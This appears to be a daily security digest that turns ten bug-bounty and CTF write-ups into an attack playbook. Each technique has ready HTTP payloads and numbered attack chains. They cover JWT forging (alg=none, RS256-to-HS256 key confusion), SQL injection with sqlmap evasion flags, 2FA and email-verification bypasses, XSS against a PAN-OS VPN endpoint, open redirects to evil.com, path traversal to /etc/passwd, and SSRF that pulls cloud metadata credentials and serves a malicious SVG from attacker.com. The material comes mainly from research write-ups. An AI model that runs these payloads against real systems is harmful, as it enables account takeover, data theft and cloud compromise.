ETX Signal-X

Daily Intelligence Digest

Friday, March 13, 2026

10
ARTICLES

21
TECHNIQUES

Article 1

JWT, Meet Me Outside: How I Decoded, Re-Signed, and Owned the App

Source: securitycipher

Date: 28-Apr-2025

URL: https://infosecwriteups.com/jwt-meet-me-outside-how-i-decoded-re-signed-and-owned-the-app-95791eabcf5d

T1 JWT Key Confusion via Algorithm Manipulation and Key Leakage

💉 Payload

```
POST /api/v1/user/profile HTTP/1.1
Host: target-app.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMSIsInJvbGUiOiJh
ZG1pbiJ9.4b5e1b3c6e4f2a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6
Content-Type: application/json

{
  "update": "profile_data"
}
```

⚔️ Attack Chain

1. Intercept a valid JWT token from the application (e.g., via login or proxy).
2. Decode the JWT and observe the algorithm used (e.g., HS256).
3. Attempt to brute-force or enumerate the secret key used for signing (e.g., via weak key or information leak).
4. Modify the JWT payload (e.g., set `role` to `admin` or `user_id` to another value).
5. Re-sign the JWT with the discovered secret key.
6. Replace the `Authorization: Bearer` header with the forged JWT.
7. Send the request to a privileged endpoint (e.g., `/api/v1/user/profile`) and observe elevated access or privilege escalation.

🔍 Discovery

Manual inspection of JWT structure and algorithm, followed by attempts to brute-force or enumerate the signing key. Noticed the application used a weak or leaked secret, allowing offline JWT re-signing.

🔓 Bypass

By re-signing the JWT with the correct secret, the application accepts arbitrary payloads, bypassing authorization controls.

🔗 Chain With

Combine with IDOR to access or modify other users' data. Use as a session fixation primitive for lateral movement. Chain with SSRF or other API-level vulnerabilities for privilege escalation.

T2 JWT Algorithm Confusion (alg=none Bypass)

💉 Payload

```
POST /api/v1/user/profile HTTP/1.1
Host: target-app.com
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoiMSIsInJvbGUiOiJhZG1pbiJ9.
Content-Type: application/json

{
  "update": "profile_data"
}
```

⚔️ Attack Chain

1. Decode the JWT and observe the `alg` header value.
2. Change the `alg` field in the JWT header to `none`.
3. Remove the signature portion (leave the trailing dot).
4. Re-encode the JWT and use it in the `Authorization: Bearer` header.
5. Send the request to a privileged endpoint and observe if the application accepts unsigned tokens, granting elevated access.

🔍 Discovery

Tested for algorithm confusion by manipulating the JWT header and observing the application's acceptance of unsigned tokens.

🔓 Bypass

If the backend does not enforce signature validation, setting `alg` to `none` bypasses authentication and authorization checks.

🔗 Chain With

Combine with IDOR or privilege escalation attacks. Use for session impersonation or horizontal privilege escalation.

T3 JWT Key Confusion (RS256 to HS256 Public Key as Secret)

💉 Payload

```
POST /api/v1/user/profile HTTP/1.1
Host: target-app.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMSIsInJvbGUiOiJh
ZG1pbiJ9.<signature>
Content-Type: application/json

{
  "update": "profile_data"
}
```

⚔️ Attack Chain

1. Obtain the application's public key (e.g., via well-known endpoint or source code leak).
2. Decode the JWT and observe if the algorithm is RS256 (asymmetric).
3. Change the `alg` field in the JWT header to HS256 (symmetric).
4. Use the public key as the HMAC secret to sign the modified JWT.
5. Use the forged JWT in the `Authorization: Bearer` header.
6. Send the request to a privileged endpoint and observe if the application accepts the token and grants elevated access.

🔍 Discovery

Tested for key confusion by switching JWT algorithm from RS256 to HS256 and using the public key as a symmetric key, based on known implementation flaws.

🔓 Bypass

If the backend does not validate algorithm changes, it will accept tokens signed with the public key as a symmetric secret, allowing arbitrary JWT forging.

🔗 Chain With

Combine with IDOR or privilege escalation. Use for persistent admin access or lateral movement.

Article 2

How I Found a SQL Injection Vulnerability in website

Source: securitycipher

Date: 19-Jan-2025

URL: https://medium.com/@Bl4cky/how-i-found-a-sql-injection-vulnerability-in-website-56a8b2b1edab

T1 Manual SQL Injection Enumeration and Data Extraction via UNION SELECT

💉 Payload

```
GET /index.php?manufacturer=Blade'+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+'
```

⚔️ Attack Chain

1. Send a single quote (') in the `manufacturer` parameter to trigger SQL syntax error and confirm injection point.
2. Use `ORDER BY` clause incrementally (e.g., `ORDER BY 2`, `ORDER BY 3`, ..., `ORDER BY 36`) to determine the number of columns in the underlying SQL query (in this case, 35 columns).
3. Craft a UNION SELECT payload with 35 NULLs to match the column count and avoid errors.
4. Use the valid UNION SELECT to enumerate database tables:
5. Enumerate columns in a specific table (e.g., `userdata`):
6. Extract sensitive data (e.g., emails):

🔍 Discovery

Manual payload injection into the `manufacturer` parameter, observing SQL errors and response differences to confirm injection and enumerate schema.

🔓 Bypass

Used incremental `ORDER BY` to bypass uncertainty about column count. Matched column count exactly in UNION SELECT to avoid errors.

🔗 Chain With

Extracted table and column names can be used for targeted data exfiltration (e.g., credentials, session tokens). If application uses the same pattern elsewhere, lateral movement to other endpoints is possible.

T2 Automated SQL Injection Exploitation with sqlmap (Low Thread Evasion)

💉 Payload

```
sudo sqlmap -u "http://www.example.com/index.php?manufacturer=Blade" --current-db --random-agent --threads 1
sudo sqlmap -u "http://www.example.com/index.php?manufacturer=Blade" -D dronedata --tables --random-agent --threads 1
sudo sqlmap -u "http://www.example.com/index.php?manufacturer=Blade" -D dronedata -T maindata --columns --random-agent --threads 1
```

⚔️ Attack Chain

1. Run sqlmap with the target URL and `--current-db` to enumerate the current database name, using `--random-agent` and `--threads 1` to evade detection and rate limiting.
2. Enumerate tables in the discovered database (e.g., `dronedata`) with `--tables`.
3. Enumerate columns in a specific table (e.g., `maindata`) with `--columns`.
4. Optionally, dump data or further enumerate as needed.

🔍 Discovery

Automated SQL injection scanning with sqlmap, leveraging low thread count to avoid WAF/rate limiting and random user agents for evasion.

🔓 Bypass

Use of `--threads 1` to avoid triggering rate limits or detection mechanisms. Use of `--random-agent` to evade simple user-agent based blocks.

🔗 Chain With

Once schema is mapped, sqlmap can be used to automate extraction of sensitive data, escalate to file read/write or OS command execution if supported by backend.

Article 3

2FA simple bypass [ES] [PortSwigger]

Source: securitycipher

Date: 19-Jul-2025

URL: https://h0lm3s.medium.com/2fa-simple-bypass-es-portswigger-12a5671d0eb8

T1 2FA Bypass via Direct Access to Authenticated Endpoints

💉 Payload

```
GET /my-account?id=carlos HTTP/1.1
Host: targetsite.com
Cookie: session=YOUR_SESSION_COOKIE
```

⚔️ Attack Chain

1. Log in as attacker (e.g., wiener:peter) and complete the 2FA process to observe the authenticated endpoint structure (e.g., /my-account?id=wiener).
2. Log out and log in as the victim (e.g., carlos:montoya) but do NOT complete the 2FA (do not provide the OTP).
3. After the login step (before 2FA), note that a session cookie is already set.
4. Manually craft a GET request to the authenticated endpoint (e.g., /my-account?id=carlos) using the session cookie set during the victim login.
5. Observe that access is granted to the victim's account without completing 2FA.

🔍 Discovery

Observed that session cookies are set prior to 2FA completion and that endpoint access is determined by the presence of a valid session, not by 2FA state. Tested direct access to authenticated resources after login but before 2FA, using the session cookie.

🔓 Bypass

The backend does not enforce 2FA state before granting access to authenticated resources. The session is considered valid after username/password authentication, allowing direct access to protected endpoints by manipulating the URL and session cookie.

🔗 Chain With

Combine with IDOR to access other users' data by modifying the `id` parameter. Use in conjunction with session fixation if session tokens are predictable or can be set pre-2FA. Potential for privilege escalation if endpoints allow role or permission changes via direct access.

Article 4

How I Discovered CVE-2025–0133 – Reflected XSS with Shodan Recon

Source: securitycipher

Date: 01-Sep-2025

URL: https://zuksh.medium.com/how-i-discovered-cve-2025-0133-reflected-xss-with-shodan-recon-33297703bfc0

T1 Reflected XSS in PAN-OS VPN Endpoint via Shodan Recon

💉 Payload

```
/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer
```

⚔️ Attack Chain

1. Use Shodan to identify PAN-OS VPN endpoints associated with the target domain using dorks such as:
2. Locate live endpoints exposing `/ssl-vpn/getconfig.esp`.
3. Send a request to the endpoint with the `user` parameter set to a URL-encoded SVG/script XSS payload:
4. org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E`
5. Observe if the payload is reflected and executed in the response, confirming XSS.

🔍 Discovery

Manual Shodan reconnaissance targeting PAN-OS VPN endpoints using crafted search queries, followed by parameter fuzzing with encoded SVG/script payloads in the `user` parameter.

🔓 Bypass

Payload leverages SVG context to bypass basic input filters that only block `<script>` tags; encoding ensures delivery through URL parameters.

🔗 Chain With

Can be chained with session fixation or phishing for credential theft if the endpoint is used in authentication flows. Potential for lateral movement if the VPN portal is integrated with SSO or internal admin panels.

Article 5

Email verification Bypass from P4 TO P2

Source: securitycipher

Date: 30-Mar-2024

URL: https://medium.com/@akrachliy/email-verification-bypass-from-p4-to-p2-50fa3dde8e5f

T1 GraphQL Email Verification Status Manipulation

💉 Payload

```
[{"operationName":"solutionsResendEmailVerification","variables":{"input":{"entityId":"511","status":"PENDING","requestReferrer":"SOLUTIONS_CREATE"}},"query":"mutation solutionsResendEmailVerification($input: ResendEmailInput!) {\n resendEmailVerification(input: $input) {\n success\n __typename\n }\n}\n"}][{"operationName": "solutionsResendEmailVerification" "variables":{"input":{"entityId": "511" "status": "PENDING" "requestReferrer": "SOLUTIONS_CREATE"}} "query":"mutation solutionsResendEmailVerification($input: ResendEmailInput!) {\n resendEmailVerification(input: $input) {\n success\n __typename\n }\n}\n"}]
```

⚔️ Attack Chain

1. Register an account or use an account that requires email verification to access protected features.
2. When prompted to verify the email, intercept the GraphQL request responsible for resending or checking verification (operation: `solutionsResendEmailVerification`).
3. In the intercepted request, change the `status` field in the JSON body from `"PENDING"` to `"VERIFIED"`.
4. Forward the modified request to the server.
5. Refresh the page or attempt to access the previously restricted feature; access is now granted without interacting with the email verification link.

🔍 Discovery

While testing the email verification flow, the researcher intercepted the GraphQL request triggered by the verification prompt. Manual inspection of the request body revealed a `status` field that appeared to control verification state. Testing with the value changed to `VERIFIED` led to immediate bypass.

🔓 Bypass

The backend trusted the client-provided `status` field and did not validate the actual verification state, allowing privilege escalation by direct manipulation of the request payload.

🔗 Chain With

Enables creation of unverified/spoofed accounts with full access to features intended for verified users. May be chained with further privilege escalation (e.g., access to sensitive data, impersonation, or fraud scenarios if email verification gates critical actions). If the endpoint accepts arbitrary `entityId`, potential for horizontal privilege escalation or mass account verification.

Article 6

How a Path Normalization Flaw in Stripe’s Node.js SDK Leaked PII”

Source: securitycipher

Date: 01-Jun-2025

URL: https://osintteam.blog/how-a-path-normalization-flaw-in-stripes-node-js-sdk-leaked-pii-6aec960a70f3

T1 Path Normalization Logic Flaw in Stripe Node.js SDK (Checkout Sessions ID Bypass)

💉 Payload

```
curl "http://localhost:4242/checkout-session?sessionId=."
```

⚔️ Attack Chain

1. Deploy a Node.js application using Stripe's sample "accept-a-payment" project (or any app using the vulnerable SDK logic).
2. Start the local server (e.g., `node server.js`) with valid Stripe test keys.
3. Complete a test payment to ensure session data exists.
4. Send a GET request to the `/checkout-session` endpoint with `sessionId=.` as the parameter.
5. The application, due to Node.js path normalization, interprets `.` as the current directory and routes the request to the list-all-sessions endpoint instead of a single session lookup.
6. The response contains all checkout sessions, leaking PII (email, name, address, payment status, customer ID) for all users.

🔍 Discovery

Researcher noticed the use of path segments as identifiers in REST endpoints and tested dot-segments (`.`, `..`) for logic bypass. The flaw was discovered by observing that `sessionId=.` returned all sessions instead of a single session, indicating a normalization issue.

🔓 Bypass

The application logic failed to strictly validate the session ID parameter, allowing `.` (and potentially `..`) to bypass identifier checks. Node.js normalizes `/v1/checkout/sessions/.` to `/v1/checkout/sessions/`, triggering cloud logic for listing all sessions instead of fetching one by ID.

🔗 Chain With

Try encoded variants (`%2e`, `%2e%2e`) in other endpoints or parameters that use path segments as identifiers. Combine with IDOR or weak authentication for mass data extraction in production environments. Test similar logic in other SDKs or frameworks that use path-based routing and normalization.

T2 Path Traversal with Dot Segments in REST Endpoints (Generalized Variant)

💉 Payload

```
/endpoint/./
/endpoint/../
/endpoint/%2e/
/endpoint/%2e%2e/
```

⚔️ Attack Chain

1. Identify REST endpoints where a path segment is used as a resource identifier (e.g., `/resource/{id}` or `/api/object/{id}`).
2. Replace the `{id}` parameter with `.` or `..` or their encoded forms (`%2e`, `%2e%2e`).
3. Send the request and observe if the application returns a list of resources or leaks additional data instead of a single resource.
4. If successful, enumerate and extract mass data via logic confusion.

🔍 Discovery

Based on the Stripe case, the researcher generalized the approach to test dot-segments and encoded variants in any RESTful API endpoint that uses path segments as identifiers. This is especially effective in Node.js, Express, or similar frameworks with automatic path normalization.

🔓 Bypass

Bypassing occurs because the application logic does not sanitize or strictly pattern-match the identifier, allowing traversal-like values to alter routing behavior. Encoded forms may bypass naive input filters.

🔗 Chain With

Use in combination with weak access controls to enumerate or exfiltrate sensitive data from other endpoints. Test for privilege escalation if the list-all endpoint returns objects belonging to other users. Potential for SSRF or LFI if the endpoint is used in file or resource access logic.

Article 7

Direct access to admin dashboard via leaked credentials

Source: securitycipher

Date: 16-Jun-2024

URL: https://medium.com/@saeidmicro/direct-access-to-admin-dashboard-via-leaked-credentials-d1ed9bd18edb

T1 Direct Admin Dashboard Access via Leaked Credentials

💉 Payload

```
POST /admin/login HTTP/1.1
Host: targetsite.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 43

username=admin@example.com&password=leakedpass123
```

⚔️ Attack Chain

1. Identify or obtain leaked admin credentials (e.g., via public paste sites, credential dumps, or recon).
2. Send a POST request to the /admin/login endpoint with the leaked credentials.
3. Upon successful authentication, gain direct access to the admin dashboard and associated privileged functionality.

🔍 Discovery

Researcher discovered leaked admin credentials through open-source intelligence (OSINT) on public paste sites and credential dumps. The researcher then tested these credentials against the /admin/login endpoint.

🔓 Bypass

No additional bypass required; direct credential reuse due to lack of multi-factor authentication or IP restrictions.

🔗 Chain With

Use authenticated admin access to enumerate further internal endpoints, perform privilege escalation, or access sensitive data. Potential for chaining with SSRF, IDOR, or file upload vulnerabilities accessible from the admin panel.

Article 8

How I bypassed the same open redirect endpoint not once, not twice… but FOUR times

Source: securitycipher

Date: 09-Jun-2025

URL: https://ektuhacker.medium.com/how-i-bypassed-the-same-open-redirect-endpoint-not-once-not-twice-but-four-times-1299a56c75f4

T1 Triple Slash Open Redirect Bypass

💉 Payload

```
GET /login?next=///evil.com HTTP/1.1
Host: targetsite.com
[Other headers as needed]
```

⚔️ Attack Chain

1. Identify the login endpoint with a `next` parameter (e.g., `/login?next=`).
2. Supply a value of `///evil.com` to the `next` parameter.
3. Submit the request and observe the browser is redirected to `evil.com`.

🔍 Discovery

Manual fuzzing with non-standard URL formats after standard payloads failed. The use of triple slashes (`///`) was inspired by testing how URL parsers handle ambiguous input.

🔓 Bypass

The application’s redirect validation failed to properly handle triple slashes, causing the parser to interpret the value as an absolute URL, bypassing host restrictions.

🔗 Chain With

Combine with phishing, session fixation, or OAuth flows to escalate impact.

T2 Double Host with Path Confusion Bypass

💉 Payload

```
GET /login?next=https://evil.com///evil.com HTTP/1.1
Host: targetsite.com
[Other headers as needed]
```

⚔️ Attack Chain

1. After initial patch, supply `https://evil.com///evil.com` as the `next` parameter.
2. The application blocks the first host but fails to validate the path after `///`.
3. The redirect logic sends the user to `evil.com`.

🔍 Discovery

Exhaustive testing of URL structures, focusing on how multiple hostnames and extra slashes are parsed. The payload was crafted after observing the previous fix only checked the first host segment.

🔓 Bypass

The filter only validated the initial host, not the entire URL string, allowing a secondary host after `///` to be interpreted as the destination.

🔗 Chain With

Potential for redirect chaining or open redirect → credential phishing.

T3 Location Header Prefix Injection

💉 Payload

```
GET /login?next=Location:https://evil.com HTTP/1.1
Host: targetsite.com
[Other headers as needed]
```

⚔️ Attack Chain

1. After further patching, supply `Location:https://evil.com` as the `next` parameter.
2. The application uses the value of `next` in a `Location` header for redirect.
3. The crafted value causes the application to set the `Location` header to `https://evil.com` directly, resulting in an open redirect.

🔍 Discovery

Analysis of application behavior and header manipulation, focusing on how the `Location` header is constructed. The idea was generated after noticing the application's redirect logic was header-based.

🔓 Bypass

The application failed to sanitize or validate the `next` parameter when it contained header-like prefixes, allowing direct control of the `Location` header.

🔗 Chain With

Header injection may allow further attacks if the header is reflected or used elsewhere (e.g., CRLF injection).

T4 [Redacted Pending Fix]

💉 Payload

```
[Payload not disclosed in article]
```

⚔️ Attack Chain

1. Researcher discovered a new bypass technique on another site and applied it to the same endpoint.
2. The payload resulted in a successful open redirect bypass (details withheld pending fix).

🔍 Discovery

Cross-pollination of bypass techniques from unrelated targets; creative application of a novel payload.

🔓 Bypass

Not disclosed.

🔗 Chain With

Unknown due to redacted payload.

Article 9

Red Nexus CTF v1.0, and how we made it to first place!

Source: securitycipher

Date: 20-May-2025

URL: https://medium.com/@shxsu1/red-nexus-ctf-v1-0-and-how-we-made-it-to-first-place-ca9f85502ead

T1 Exploiting Misconfigured JWT Secret for Authentication Bypass

💉 Payload

```
POST /api/login HTTP/1.1
Host: target.rednexus.ctf
Content-Type: application/json

{
  "username": "admin",
  "password": "irrelevant"
}
```

⚔️ Attack Chain

1. Register a user and intercept the JWT token issued by the application.
2. Decode the JWT and observe the algorithm and secret used.
3. Notice the secret is set to a default or guessable value (e.g., 'secret', 'admin', or blank).
4. Forge a new JWT with the 'admin' username and sign it using the discovered secret.
5. Replace your session token with the forged admin JWT and access admin-only endpoints.

🔍 Discovery

While analyzing the login flow, the researcher noticed the JWT secret was weak and guessable, prompting attempts to forge tokens.

🔓 Bypass

By using a weak or default JWT secret, authentication can be bypassed by forging tokens for any user, including privileged accounts.

🔗 Chain With

Combine with IDOR or admin-only functionality to escalate impact (e.g., access user management, sensitive data, or system controls).

T2 Path Traversal via File Download Endpoint

💉 Payload

```
GET /api/download?file=../../../../etc/passwd HTTP/1.1
Host: target.rednexus.ctf
```

⚔️ Attack Chain

1. Identify a file download endpoint accepting a 'file' parameter.
2. Test for path traversal by supplying payloads like '../../etc/passwd'.
3. Successfully retrieve arbitrary files from the server filesystem.

🔍 Discovery

Fuzzing the 'file' parameter with traversal sequences revealed lack of sanitization, allowing access to sensitive files.

🔓 Bypass

If basic filtering is present (e.g., blocking '../'), double URL encoding or alternate traversal sequences (..%2F or ..\) may bypass restrictions.

🔗 Chain With

Combine with sensitive file disclosure (e.g., config files containing credentials or secrets) to escalate to RCE or lateral movement.

T3 SQL Injection in User Search Endpoint

💉 Payload

```
GET /api/search?query=' OR '1'='1 HTTP/1.1
Host: target.rednexus.ctf
```

⚔️ Attack Chain

1. Locate the search endpoint with a 'query' parameter.
2. Inject SQL payloads to test for unsanitized input.
3. Observe database errors or full data set returned, confirming SQLi.
4. Exploit to enumerate users, extract hashes, or escalate further.

🔍 Discovery

Manual fuzzing of the 'query' parameter with single quotes and tautologies revealed SQL injection.

🔓 Bypass

If input is filtered, use alternate encodings or comment sequences (e.g., %27%20OR%201%3D1--).

🔗 Chain With

Extract credentials, chain with JWT secret discovery for privilege escalation, or pivot to RCE if file write is possible.

Article 10

Untitled

Source:

Date:

URL:

T1 SSRF via Cloudflare Image Proxy with Arbitrary External URL

💉 Payload

```
GET /cdn-cgi/image/width=1000,format=auto/https://d1t1i8qjs1coffvlbrb0dz3onx66ucnwu.oast.live HTTP/1.1
Host: x-transaction-exports.[REDACTED].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Connection: close
```

⚔️ Attack Chain

1. Identify a Cloudflare-protected domain exposing the `/cdn-cgi/image/` endpoint (e.g., `x-transaction-exports.[REDACTED].com`).
2. Confirm the endpoint accepts fully-qualified external URLs as the image path parameter.
3. Set up an OAST server (e.g., interactsh-client) to capture inbound HTTP requests.
4. Craft a request to `/cdn-cgi/image/width=1000,format=auto/<external-url>` where `<external-url>` points to your OAST server.
5. Send the payload and monitor for incoming requests from Cloudflare IPs to your OAST server, confirming SSRF.

🔍 Discovery

Recon of subdomains revealed Cloudflare image proxy usage. Manual inspection of asset URLs showed the endpoint accepted external URLs. Hypothesis of SSRF was confirmed by observing outbound requests to a controlled OAST domain.

🔓 Bypass

No authentication or user interaction required. The endpoint did not restrict to relative or same-origin URLs, allowing arbitrary external fetches.

🔗 Chain With

Internal network scanning (e.g., `http://localhost:8080/`, `http://10.0.0.0/8`) Cloud metadata exfiltration (`http://169.254.169.254/latest/meta-data/` for AWS, `http://metadata.google.internal/` for GCP) Bypassing IP-based firewalls (accessing internal admin panels whitelisted to server IPs) Stored XSS via malicious SVGs if the frontend renders attacker-controlled SVG images fetched through the proxy

T2 Stored XSS via Malicious SVG Chained Through Image Proxy SSRF

💉 Payload

```
GET /cdn-cgi/image/width=1000,format=auto/https://attacker.com/malicious.svg HTTP/1.1
Host: x-transaction-exports.[REDACTED].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Geck
o) Chrome/114.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Connection: close
```

⚔️ Attack Chain

1. Host a malicious SVG payload on a server you control (e.g., `attacker.com/malicious.svg`).
2. Use the `/cdn-cgi/image/` endpoint to fetch and proxy the SVG via a URL like `/cdn-cgi/image/width=1000,format=auto/https://attacker.com/malicious.svg`.
3. Submit or reference the proxied SVG in any user-supplied image field or location rendered by the frontend.
4. If the frontend renders the SVG as an image (e.g., in a profile, gallery, or preview), the malicious script executes in the context of the victim user (stored XSS).

🔍 Discovery

After confirming SSRF, considered impact escalation vectors. The article notes that SVGs can be weaponized for XSS if the proxy fetches and delivers them to a vulnerable frontend.

🔓 Bypass

Leverages the SSRF primitive to deliver attacker-controlled SVGs through a trusted Cloudflare domain, bypassing same-origin and content security restrictions if the frontend does not sanitize SVGs.

🔗 Chain With

Combine with SSRF to escalate from network access to persistent XSS Potential for session theft, CSRF, or further lateral movement if the XSS lands in privileged interfaces

T3 Cloud Metadata Service Exfiltration via SSRF

💉 Payload

```
GET /cdn-cgi/image/width=1000,format=auto/http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: x-transaction-exports.[REDACTED].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Connection: close
```

⚔️ Attack Chain

1. Use the SSRF vector to target cloud provider metadata endpoints (e.g., AWS: `http://169.254.169.254/latest/meta-data/`).
2. Craft a request to the image proxy endpoint with the metadata URL as the image source.
3. If the backend fetches and returns the response, sensitive metadata (e.g., IAM credentials, instance details) may be exposed to the attacker.

🔍 Discovery

Standard SSRF escalation path. The article explicitly lists cloud metadata endpoints as high-value SSRF targets after confirming the primitive.

🔓 Bypass

No IP filtering constantly enforced on the endpoint; the proxy fetches internal IPs as easily as external ones.

🔗 Chain With

Use SSRF to obtain cloud credentials, escalate to full cloud account compromise Combine with privilege escalation or lateral movement techniques for deeper access

---